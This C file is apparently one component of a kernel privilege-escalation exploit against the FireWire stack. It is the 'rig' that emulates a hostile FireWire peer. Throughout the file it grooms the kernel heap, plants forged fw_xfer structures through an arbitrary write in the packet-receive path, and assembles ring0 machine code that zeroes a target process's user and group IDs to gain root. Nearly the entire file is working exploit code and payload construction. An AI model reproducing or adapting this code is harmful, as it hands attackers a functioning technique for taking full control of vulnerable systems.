/*
 * df5845rig.c -- DF-5845 root-side "peer" rig (malicious FireWire peer +
 * interposed-controller emulation driver).  Runs as root, pinned to the
 * same CPU as the weapon.
 *
 * The rig NEVER escalates anything itself: it (a) places one canary
 * chunk K (the kfree-safe readable pointer for the S-fix), (b) probes
 * the 160-class fw_xfer zone with its own stock FW_ASYREQ ioctls to
 * find a bump-adjacent chunk pair (P1,P2), (c) watches the wire
 * (pending-AT table: dst/tlabel are bus-observable), verifies the
 * weapon's fw_xfers landed exactly at (P1,P2), and (d) delivers two
 * received packets through the STOCK fw_rcv() AR-receive path, exactly
 * as fwohci AR-DMA would.  All corruption happens in stock kernel code.
 *
 * usage:
 *   df5845rig canary                 # spray+pop canary K, print addr
 *   df5845rig probe                  # find adjacent pair, write shape
 *   df5845rig attack                 # verify + inject (needs ready file)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <stddef.h>
#include <sys/stat.h>

#include "fwharness.h"

/* --- stock ioctl interface mirror (fwdev.c) --- */
struct fw_eui64 { u_int32_t hi, lo; };
struct fw_asyreq {
	struct fw_asyreq_t {
		unsigned char sped;
		unsigned int type;
		unsigned short len;
		union { struct fw_eui64 eui; } dst;
	} req;
	u_int32_t pkt[4];
	u_int32_t data[512];
};
#define FW_ASYREQ	_IOWR('S', 92, struct fw_asyreq)
#define FWASREQNODE	0
#define FWTCODE_WREQB	1

_Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset");
_Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset");
_Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size");

#define DST_V	0x22
#define DST_S	0x11
#define DST_P1	0x33
#define DST_P2	0x34

static int hfwd = -1;		/* /dev/fw0.0  (probe ioctls) */
static int hctl = -1;		/* /dev/fwhctl0 (rig control) */

/* constants harvested per boot */
static unsigned long C_pfindn, C_fwasync, C_fwhfc, C_fwhatq, C_mfwxfer;
static unsigned O_pucred, O_cru, O_crru, O_crsv, O_crng, O_crgr;
static unsigned long off_sp, off_rh, off_rp, off_rl, off_mb, off_ml;

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);
	if (sysctlbyname(name, &v, &l, NULL, 0) != 0) {
		perror(name); exit(1);
	}
	return (v);
}

static void
load_consts(void)
{
	FILE *f = fopen("/tmp/df5845.const", "r");
	char k[64]; unsigned long v;

	if (f == NULL) { perror("/tmp/df5845.const"); exit(1); }
	while (fscanf(f, "%63s %lx", k, &v) == 2) {
		if (!strcmp(k, "pfindn")) C_pfindn = v;
		else if (!strcmp(k, "fw_asy_callback")) C_fwasync = v;
		else if (!strcmp(k, "fwh_fc")) C_fwhfc = v;
		else if (!strcmp(k, "fwh_atq")) C_fwhatq = v;
		else if (!strcmp(k, "off_pucred")) O_pucred = v;
		else if (!strcmp(k, "off_cr_uid")) O_cru = v;
		else if (!strcmp(k, "off_cr_ruid")) O_crru = v;
		else if (!strcmp(k, "off_cr_svuid")) O_crsv = v;
		else if (!strcmp(k, "off_cr_ngroups")) O_crng = v;
		else if (!strcmp(k, "off_cr_groups")) O_crgr = v;
	}
	fclose(f);
	C_mfwxfer = sysctl_ul("hw.fwh_mfwxfer");
	off_sp = sysctl_ul("hw.fwh_off_sendpayload");
	off_rh = sysctl_ul("hw.fwh_off_recvhdr");
	off_rp = sysctl_ul("hw.fwh_off_recvpayload");
	off_rl = sysctl_ul("hw.fwh_off_recvpaylen");
	off_mb = sysctl_ul("hw.fwh_off_mbuf");
	off_ml = sysctl_ul("hw.fwh_off_malloc");
	printf("RIG: v6 consts pfindn=%#lx fw_asy_callback=%#lx fwh_fc=%#lx "
	    "fwh_atq=%#lx M_FWXFER=%#lx\n", C_pfindn, C_fwasync, C_fwhfc,
	    C_fwhatq, C_mfwxfer);
	printf("RIG: proc.p_ucred=+%u ucred cr_uid=+%u cr_ruid=+%u "
	    "cr_svuid=+%u cr_ngroups=+%u cr_groups=+%u\n",
	    O_pucred, O_cru, O_crru, O_crsv, O_crng, O_crgr);
	printf("RIG: fw_xfer send.payload=+%lu recv.hdr=+%lu "
	    "recv.payload=+%lu recv.pay_len=+%lu mbuf=+%lu malloc=+%lu\n",
	    off_sp, off_rh, off_rp, off_rl, off_mb, off_ml);
	if (off_sp != 80 || off_rh != 96 || off_rp != 112 ||
	    off_rl != 120 || off_mb != 128 || off_ml != 144) {
		fprintf(stderr, "RIG: fw_xfer layout drifted from the "
		    "published 152-byte layout; refusing\n");
		exit(1);
	}
	if (!C_pfindn || !C_fwasync || !C_fwhfc || !C_fwhatq || !C_mfwxfer) {
		fprintf(stderr, "RIG: missing kernel symbols in const file\n");
		exit(1);
	}
}

/* ------------------------------------------------------------------ */
/* pending-AT ("wire") observation                                     */
/* ------------------------------------------------------------------ */
static struct fwh_pendreq pq;

static void
pend_poll(u_int32_t seq_after)
{
	pq.seq_after = seq_after;
	if (ioctl(hctl, FWHIOC_PEND, &pq) != 0)
		perror("FWHIOC_PEND");
}

/* warm: one rig-side stock FW_ASYREQ (dst=0x99, no response) so the
 * pending-AT sequence counter moves past 0 -- the PEND watermark
 * semantic cannot express "report seq 0", and the weapon's S post
 * would otherwise be invisible to the attack watcher.  Runs BEFORE
 * shape so the shaped freelist pair is untouched (the warm xfer
 * returns to the freelist and is re-consumed by the shape spray). */
static void *
warm_thread(void *arg)
{
	struct fw_asyreq asy;
	int fd = open("/dev/fw0.0", O_RDWR);

	if (fd < 0) { perror("warm open fw0.0"); return (NULL); }
	memset(&asy, 0, sizeof(asy));
	asy.req.sped = 2;
	asy.req.type = FWASREQNODE;
	asy.req.len = 16;
	asy.pkt[0] = (0x99u << 16) | (FWTCODE_WREQB << 4);
	ioctl(fd, FW_ASYREQ, &asy);
	close(fd);
	return (NULL);
}

static int
cmd_warm(void)
{
	pthread_t t;

	pthread_create(&t, NULL, warm_thread, NULL);
	pthread_join(t, NULL);
	usleep(200000);
	printf("RIG: warm post done (seq counter moved)\n");
	return (0);
}

/* penddump: diagnostic -- poll the pend table while a rig-side post
 * is in flight and print everything visible */
static int
cmd_penddump(void)
{
	pthread_t t;
	int i;

	hctl = open("/dev/fwhctl0", O_RDWR);
	if (hctl < 0) { perror("fwhctl0"); return 1; }
	pthread_create(&t, NULL, warm_thread, NULL);
	for (i = 0; i < 12; i++) {
		u_int j;
		usleep(100000);
		pend_poll(0);
		printf("penddump[%d] n=%u:", i, pq.n);
		for (j = 0; j < pq.n; j++)
			printf(" {%u dst=%#x tl=%u xfer=%#lx}",
			    pq.ent[j].seq, pq.ent[j].dst, pq.ent[j].tl,
			    (unsigned long)pq.ent[j].xfer);
		printf("\n");
	}
	pthread_join(t, NULL);
	return (0);
}

/* ------------------------------------------------------------------ */
/* shape: force an adjacent fw_xfer chunk triple via canary shaping    */
/*                                                                     */
/* spray N canaries into the 160-class zone (fresh canaries from one   */
/* zone are bump-consecutive), pick a contiguous run V, S=V+160,       */
/* C3=V+320 (C3 stays allocated = ring0-stub home), then free the      */
/* pair HIGHER-FIRST so the per-CPU LIFO freelist hands out V then S   */
/* to the next two 160-class allocations -- the weapon's two fw_xfers. */
/* ------------------------------------------------------------------ */
#define SHAPE_N		400
static unsigned long shape_addr[SHAPE_N];
static unsigned long K_ADDR;

static int
cmd_shape(void)
{
	struct fwh_sprayreq sr;
	struct fwh_addrreq ar;
	u_int32_t v32;
	int i, chosen = -1;

	sr.n = SHAPE_N;
	sr.size = 160;
	if (ioctl(hctl, FWHIOC_SPRAY, &sr) != 0) {
		perror("spray"); return (1);
	}
	for (i = 0; i < SHAPE_N; i++) {
		ar.idx = i;
		if (ioctl(hctl, FWHIOC_SPRAYADDR, &ar) != 0) {
			perror("sprayaddr"); return (1);
		}
		shape_addr[i] = (unsigned long)ar.addr;
	}
	/* need a[i-1..i+3] contiguous: a[i-1] stays live below S (the
	 * timeout-drain early-free target must be an ALLOCATED chunk),
	 * a[i], a[i+1] become S and V, a[i+2] is the stub chunk. */
	for (i = 8; i < SHAPE_N - 4; i++) {
		if (shape_addr[i] == shape_addr[i - 1] + 160 &&
		    shape_addr[i + 1] == shape_addr[i] + 160 &&
		    shape_addr[i + 2] == shape_addr[i] + 320 &&
		    shape_addr[i + 3] == shape_addr[i] + 480) {
			chosen = i;
			break;
		}
	}
	if (chosen < 0) {
		fprintf(stderr, "RIG: no contiguous canary run found\n");
		return (1);
	}

	/* K first (so its spray cannot eat the shaped pair): dedicated
	 * canary sprayed last-of-list and SPRAYPOPped -- readable,
	 * allocated exactly once, freed exactly once (by the weapon S
	 * drain), invisible to any later unspray. */
	{
		struct fwh_sprayreq ksr;
		struct fwh_addrreq kar;
		u_int32_t zero = 0;

		ksr.n = 1;
		ksr.size = 160;
		if (ioctl(hctl, FWHIOC_SPRAY, &ksr) != 0) {
			perror("spray K"); return (1);
		}
		kar.idx = SHAPE_N;
		if (ioctl(hctl, FWHIOC_SPRAYADDR, &kar) != 0) {
			perror("sprayaddr K"); return (1);
		}
		K_ADDR = (unsigned long)kar.addr;
		if (ioctl(hctl, FWHIOC_SPRAYPOP, &zero) != 0) {
			perror("spraypop K"); return (1);
		}
		if (K_ADDR == 0) {
			fprintf(stderr, "RIG: K canary is NULL?\n");
			return (1);
		}
	}

	/* free the pair HIGHER-FIRST: LIFO freelist = [S, V] */
	v32 = chosen + 1;
	if (ioctl(hctl, FWHIOC_SPRAYFREE, &v32) != 0) {
		perror("sprayfree hi"); return (1);
	}
	v32 = chosen;
	if (ioctl(hctl, FWHIOC_SPRAYFREE, &v32) != 0) {
		perror("sprayfree lo"); return (1);
	}

	/* GATE: prove the next two 160-class allocations on this cpu
	 * return exactly the shaped pair, then put them back in order.
	 * Spray indices SHAPE_N+1, SHAPE_N+2 are the gate probes. */
	{
		struct fwh_sprayreq gsr;
		struct fwh_addrreq g1, g2;
		int attempt;

		gsr.n = 2;
		gsr.size = 160;
		for (attempt = 0; attempt < 4; attempt++) {
			unsigned long want1 = shape_addr[chosen];
			unsigned long want2 = shape_addr[chosen + 1];

			if (ioctl(hctl, FWHIOC_SPRAY, &gsr) != 0) {
				perror("gate spray"); return (1);
			}
			g1.idx = SHAPE_N + 1;
			g2.idx = SHAPE_N + 2;
			if (ioctl(hctl, FWHIOC_SPRAYADDR, &g1) != 0 ||
			    ioctl(hctl, FWHIOC_SPRAYADDR, &g2) != 0) {
				perror("gate addr"); return (1);
			}
			if ((unsigned long)g1.addr == want1 &&
			    (unsigned long)g2.addr == want2) {
				/* verified: free right-back in order */
				u_int32_t hi = SHAPE_N + 2, lo = SHAPE_N + 1;
				if (ioctl(hctl, FWHIOC_SPRAYFREE, &hi) != 0 ||
				    ioctl(hctl, FWHIOC_SPRAYFREE, &lo) != 0) {
					perror("gate free"); return (1);
				}
				printf("RIG: gate verified pair "
				    "S=%#lx V=%#lx (attempt %d)\n",
				    want1, want2, attempt);
				break;
			}
			printf("RIG: gate MISS (%#lx,%#lx) want (%#lx,%#lx)"
			    " -- reshaping\n",
			    (unsigned long)g1.addr, (unsigned long)g2.addr,
			    want1, want2);
			/* keep the probes allocated; pick a new run from
			 * what we know and re-free */
			{
				int j, ch = -1;
				unsigned long a1 = (unsigned long)g1.addr;
				unsigned long a2 = (unsigned long)g2.addr;

				/* the probes consumed 2 free chunks; the
				 * simplest recovery: free them back and
				 * retry the same expectation */
				u_int32_t hi = SHAPE_N + 2, lo = SHAPE_N + 1;
				(void)a1; (void)a2; (void)j; (void)ch;
				if (ioctl(hctl, FWHIOC_SPRAYFREE, &hi) != 0 ||
				    ioctl(hctl, FWHIOC_SPRAYFREE, &lo) != 0) {
					perror("gate refree"); return (1);
				}
			}
		}
		if (attempt == 4) {
			fprintf(stderr, "RIG: shape gate never verified\n");
			return (1);
		}
	}

	{
		unsigned long v = shape_addr[chosen];
		FILE *f = fopen("/tmp/df5845.shape", "w");

		fprintf(f, "%lu %lu\n", v, K_ADDR);
		fclose(f);
		chmod("/tmp/df5845.shape", 0644);
		printf("RIG: shape: S=%#lx V=%#lx C3(stub)=%#lx K=%#lx "
		    "(pair freed hi-first, gate-verified)\n",
		    v, v + 160, v + 320, K_ADDR);
	}
	return (0);
}

/* ------------------------------------------------------------------ */
/* ring0 stub: pfindn(pid) -> p_ucred -> zero uid fields               */
/* ~66 bytes; runs in the injecting thread's context (no SMEP needed  */
/* since it lives in kernel heap).                                     */
/* ------------------------------------------------------------------ */
static size_t
build_stub(u_char *out, size_t cap, int pid)
{
	u_char *p = out, *jz;
	u_int32_t imm;

	if (cap < 96) return (0);
	/* marker: stub ENTRY -- V->resp = 0x5A (visible in POST-RCV) */
	*p++ = 0xC6; *p++ = 0x47; *p++ = 40; *p++ = 0x5A;
	/* mov edi, pid */
	*p++ = 0xBF; memcpy(p, &pid, 4); p += 4;
	/* mov rax, pfindn (imm64) */
	*p++ = 0x48; *p++ = 0xB8;
	memcpy(p, &C_pfindn, 8); p += 8;
	/* call rax */
	*p++ = 0xFF; *p++ = 0xD0;
	/* test rax, rax */
	*p++ = 0x48; *p++ = 0x85; *p++ = 0xC0;
	/* jz done (rel8, patched) */
	jz = p; p += 2;
	/* mov rcx, [rax + p_ucred] (disp32) */
	*p++ = 0x48; *p++ = 0x8B; *p++ = 0x88;
	imm = (u_int32_t)O_pucred; memcpy(p, &imm, 4); p += 4;
	/* mov dword [rcx+disp32], imm32 -- disp32 form for ALL offsets
	 * (cr_ruid/cr_svuid at 160/164 do NOT fit signed disp8) */
#define MI32(off, val) do {						\
	u_int32_t d = (u_int32_t)(off), v = (u_int32_t)(val);		\
	*p++ = 0xC7; *p++ = 0x81; memcpy(p, &d, 4); p += 4;		\
	memcpy(p, &v, 4); p += 4;					\
} while (0)
	MI32(O_cru, 0);
	MI32(O_crru, 0);
	MI32(O_crsv, 0);
	MI32(O_crng, 1);		/* ngroups = 1 */
	MI32(O_crgr, 0);		/* groups[0] = cr_gid = 0 */
#undef MI32
	/* done: marker V->retry = 0x5B, then ret */
	*p++ = 0xC6; *p++ = 0x47; *p++ = 42; *p++ = 0x5B;
	*p++ = 0xC3;
	/* patch jz */
	jz[0] = 0x74;
	jz[1] = (u_int8_t)(p - (jz + 2));
	return ((size_t)(p - out));
}

/* ------------------------------------------------------------------ */
/* payload assembly helpers                                            */
/* ------------------------------------------------------------------ */
static void
put64(u_char *b, size_t off, unsigned long v)
{
	memcpy(b + off, &v, 8);
}
static void
put32(u_char *b, size_t off, u_int32_t v)
{
	memcpy(b + off, &v, 4);
}
static void
put16(u_char *b, size_t off, u_int16_t v)
{
	memcpy(b + off, &v, 2);
}

/*
 * Build the 640-byte response payload.  Write base = S-160 (the
 * chunk-aligned live canary below S, planted as S.recv.payload by the
 * weapon smash):
 *
 *   [  0..159]  canary chunk below S                (scratch)
 *   [160..319]  S chunk: full fw_xfer fix-up.  The write REACHES ITS
 *               OWN DESTINATION POINTER FIELD at offset 272 (S+112):
 *               recv.payload := K (readable, kfree-safe canary) so the
 *               ioctl drain survives; act.hand := fw_asy_callback so
 *               fw_xfer_done(S) wakes the sleeping ioctl normally.
 *   [320..479]  V chunk (S+160): full fw_xfer with state=FWXF_SENT,
 *               act.hand := ring0 stub, send.hdr.dst := 0x22 (the
 *               tlabel lookup match value), payloads NULL so its own
 *               timeout drain is clean.
 *   [480..639]  stub chunk (S+320): ring0 stub at +16 (chunk+0..7 is
 *               where a kfree freelist word would land).
 */
static size_t
build_payload(u_char *pay, size_t stride, unsigned long s_addr,
    unsigned long k_addr, unsigned long stub_addr, u_int32_t tl_v,
    u_int32_t tl_s, const u_char *resp_hdr16, const u_char *stub,
    size_t stub_len, int dispatch)
{
	size_t s_off = stride;			/* S chunk in write frame */
	size_t v_off = 2 * stride;		/* V = S + 160 */
	size_t c3_off = 3 * stride;		/* stub chunk = S + 320 */

	memset(pay, 0, c3_off + stride);

	/* ---- S fix-up ---- */
	put64(pay, s_off + 8, C_fwhfc);		/* fc (fw_xfer_done asserts) */
	put64(pay, s_off + 16, C_fwhatq);	/* q */
	pay[s_off + 41] = 3;			/* state = FWXF_SENT */
	pay[s_off + 43] = (u_int8_t)tl_s;	/* tl */
	put64(pay, s_off + 56, C_fwasync);	/* act.hand = fw_asy_callback */
	put32(pay, s_off + 64,
	    (DST_S << 16) | ((tl_s & 0x3f) << 8) | (FWTCODE_WREQB << 4));
	memcpy(pay + s_off + 96, resp_hdr16, 16);	/* recv.hdr = resp hdr */
	put64(pay, s_off + 112, k_addr);	/* recv.payload := K (self-heal;
						 * readable for fwdev.c:583,
						 * kfree-safe at drain) */
	put16(pay, s_off + 120, 16);		/* recv.pay_len */
	put64(pay, s_off + 144, C_mfwxfer);	/* malloc */

	/* ---- V content ---- */
	put64(pay, v_off + 8, C_fwhfc);		/* fc */
	put64(pay, v_off + 16, C_fwhatq);	/* q */
	pay[v_off + 41] = 3;			/* state = FWXF_SENT */
	pay[v_off + 43] = (u_int8_t)tl_v;	/* tl */
	/* dispatch=1: ring0 stub (the weapon).  dispatch=0: stock
	 * fw_asy_callback -- fix-up-only response for aborted attempts
	 * so both ioctls still drain cleanly. */
	put64(pay, v_off + 56, dispatch ? stub_addr : C_fwasync);
	put32(pay, v_off + 64, (DST_V << 16) | (FWTCODE_WREQB << 4));
	/* send/recv payloads NULL, mbuf/link 0 */
	put64(pay, v_off + 144, C_mfwxfer);	/* malloc */

	/* ---- stub chunk ---- */
	memcpy(pay + c3_off + 16, stub, stub_len);

	return (c3_off + stride);
}

/* received-packet builder (RRESB, rtcode = RESP_CMP) */
static size_t
make_resp(u_char *pkt, size_t cap, u_int32_t tl, u_int32_t src,
    size_t plen, const u_char *payload)
{
	u_int32_t w[4];

	if (16 + plen > cap) return (0);
	w[0] = (0xffc0u << 16) | (((tl & 0x3f) * 4) << 8) | (7 << 4) | 0;
	w[1] = (src << 16) | (0 << 12);		/* rtcode = RESP_CMP(0) */
	w[2] = 0;
	w[3] = ((u_int32_t)plen << 16) | 0;	/* rresb.len */
	memcpy(pkt, w, 16);
	if (plen)
		memcpy(pkt + 16, payload, plen);
	return (16 + plen);
}

/* ------------------------------------------------------------------ */
static int
cmd_canary(void)
{
	struct fwh_sprayreq sr;
	struct fwh_addrreq ar;
	u_int32_t zero = 0;

	sr.n = 1; sr.size = 160;
	if (ioctl(hctl, FWHIOC_SPRAY, &sr) != 0) { perror("spray"); return 1; }
	ar.idx = 0;
	if (ioctl(hctl, FWHIOC_SPRAYADDR, &ar) != 0) {
		perror("sprayaddr"); return 1;
	}
	if (ioctl(hctl, FWHIOC_SPRAYPOP, &zero) != 0) {
		perror("spraypop"); return 1;
	}
	printf("CANARY-K %#lx\n", (unsigned long)ar.addr);
	return (0);
}

static int
read_shape(unsigned long *v_pred, unsigned long *k_addr)
{
	FILE *f = fopen("/tmp/df5845.shape", "r");
	if (f == NULL) return (-1);
	if (fscanf(f, "%lu %lu", v_pred, k_addr) != 2) {
		fclose(f); return (-1);
	}
	fclose(f);
	return (0);
}

static int
cmd_attack(void)
{
	unsigned long s_pred = 0, k_addr = 0, stub_addr;
	u_char stub[96], pay[768], pkt[FWH_PKT_MAX];
	size_t stub_len, pay_len, pkt_len;
	u_int32_t base_seq = 0, tl_v = 0, tl_s = 0;
	unsigned long ptr_v = 0, ptr_s = 0;
	int pid = 0, i, fixup_only = 0;
	FILE *f;
	struct fwh_pktreq pr;

	load_consts();
	if (read_shape(&s_pred, &k_addr) != 0) {
		fprintf(stderr, "RIG: no shape file; run shape first\n");
		return (1);
	}
	printf("RIG: attack: S_PRED=%#lx K=%#lx\n", s_pred, k_addr);

	/* baseline the pend table BEFORE the weapon can post anything:
	 * the rig is launched first, so the next S/V entries the watch
	 * sees are exactly this attempt's weapon posts. */
	pend_poll(0);
	for (i = 0; (u_int)i < pq.n; i++)
		if (pq.ent[i].seq + 1 > base_seq)
			base_seq = pq.ent[i].seq + 1;
	printf("RIG: pend baseline=%u\n", base_seq);

	/* wait for the weapon to publish its pid (it posts only after
	 * writing the ready file) */
	for (i = 0; i < 200; i++) {
		f = fopen("/tmp/df5845.ready", "r");
		if (f != NULL) {
			fscanf(f, "%d", &pid);
			fclose(f);
			break;
		}
		usleep(50000);
	}
	if (pid == 0) {
		fprintf(stderr, "RIG: weapon never became ready\n");
		return (1);
	}
	printf("RIG: weapon pid=%d\n", pid);

	/* watch the wire for S (dst 0x11, posted first) then V (dst 0x22) */
	{
		u_int32_t bseq_v = base_seq, bseq_s = base_seq;
		for (i = 0; i < 400; i++) {
			u_int j;
			pend_poll(base_seq);
			if ((i % 100) == 0)
				printf("RIG: watch[%d] poll n=%u\n", i, pq.n);
			for (j = 0; j < pq.n; j++) {
				if (pq.ent[j].dst == DST_S &&
				    pq.ent[j].seq >= bseq_s) {
					bseq_s = pq.ent[j].seq + 1;
					ptr_s = pq.ent[j].xfer;
					tl_s = pq.ent[j].tl;
				} else if (pq.ent[j].dst == DST_V &&
				    pq.ent[j].seq >= bseq_v) {
					bseq_v = pq.ent[j].seq + 1;
					ptr_v = pq.ent[j].xfer;
					tl_v = pq.ent[j].tl;
				}
			}
			if (ptr_v && ptr_s)
				break;
			usleep(5000);
		}
	}
	if (!ptr_v || !ptr_s) {
		fprintf(stderr, "RIG: ABORT (no S/V on the wire)\n");
		return (1);
	}
	printf("RIG: wire: S=%#lx tl=%u  V=%#lx tl=%u\n",
	    ptr_s, tl_s, ptr_v, tl_v);
	if (ptr_s != s_pred || ptr_v != s_pred + 160) {
		fprintf(stderr, "RIG: geometry mismatch "
		    "(want S=%#lx V=%#lx) -- sending fix-up only\n",
		    s_pred, s_pred + 160);
		fixup_only = 1;
	}

	stub_addr = s_pred + 320 + 16;	/* stub chunk S+320, past freelist word */
	stub_len = build_stub(stub, sizeof(stub), pid);
	if (stub_len == 0) {
		fprintf(stderr, "RIG: stub build failed\n");
		return (1);
	}
	printf("RIG: stub %zu bytes at %#lx (pfindn=%#lx pid=%d)\n",
	    stub_len, stub_addr, C_pfindn, pid);

	/* the response header planted into S.recv.hdr */
	{
		u_char rh[16];
		u_int32_t w0, w1;
		w0 = (0xffc0u << 16) | (((tl_s & 0x3f) * 4) << 8) | (7 << 4);
		w1 = (DST_S << 16) | (0 << 12);
		memcpy(rh, &w0, 4); memcpy(rh + 4, &w1, 4);
		memset(rh + 8, 0, 8);
		pay_len = build_payload(pay, 160, s_pred, k_addr, stub_addr,
		    tl_v, tl_s, rh, stub, stub_len, !fixup_only);
	}
	printf("RIG: payload %zu bytes [canary|S-fix|V|%s] @ S-160=%#lx\n",
	    pay_len, fixup_only ? "callback" : "stub", s_pred - 160);

	/* deliver the S response: stock fw_rcv_copy writes pay through
	 * S.recv.payload == S-48 (planted by the weapon's ioctl smash) */
	memset(&pr, 0, sizeof(pr));
	pkt_len = make_resp(pkt, sizeof(pkt), tl_s, DST_S, pay_len, pay);
	pr.len = (u_int32_t)pkt_len;
	memcpy(pr.data, pkt, pkt_len);
	if (ioctl(hctl, FWHIOC_PKTRCV, &pr) != 0) {
		perror("pktrcv S"); return (1);
	}
	printf("RIG: S-response delivered (%zu bytes) -> "
	    "fw_rcv_copy arb-write of %zu bytes @ S-160\n",
	    pkt_len, pay_len);

	if (fixup_only) {
		printf("RIG: fix-up delivered; both ioctls drain cleanly; "
		    "no dispatch (retry)\n");
		return (1);
	}

	/* deliver the V response: tlabel lookup hits planted send.hdr,
	 * state=FWXF_SENT -> fw_xfer_done -> act.hand = stub -> uid0 */
	memset(&pr, 0, sizeof(pr));
	pkt_len = make_resp(pkt, sizeof(pkt), tl_v, DST_V, 0, NULL);
	pr.len = (u_int32_t)pkt_len;
	memcpy(pr.data, pkt, pkt_len);
	if (ioctl(hctl, FWHIOC_PKTRCV, &pr) != 0) {
		perror("pktrcv V"); return (1);
	}
	printf("RIG: V-response delivered -> dispatch armed\n");
	return (0);
}

int
main(int argc, char **argv)
{
	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2) {
		fprintf(stderr, "usage: df5845rig canary|shape|attack\n");
		return (2);
	}
	if (!strcmp(argv[1], "canary")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_canary());
	}
	if (!strcmp(argv[1], "reset")) {
		u_int32_t zero = 0;
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		if (ioctl(hctl, FWHIOC_UNSPRAY, &zero) != 0)
			perror("unspray");
		printf("RIG: unspray (canary list cleared)\n");
		return (0);
	}
	if (!strcmp(argv[1], "warm")) {
		return (cmd_warm());
	}
	if (!strcmp(argv[1], "penddump")) {
		return (cmd_penddump());
	}
	if (!strcmp(argv[1], "shape")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_shape());
	}
	if (!strcmp(argv[1], "attack")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_attack());
	}
	fprintf(stderr, "unknown cmd %s\n", argv[1]);
	return (2);
}
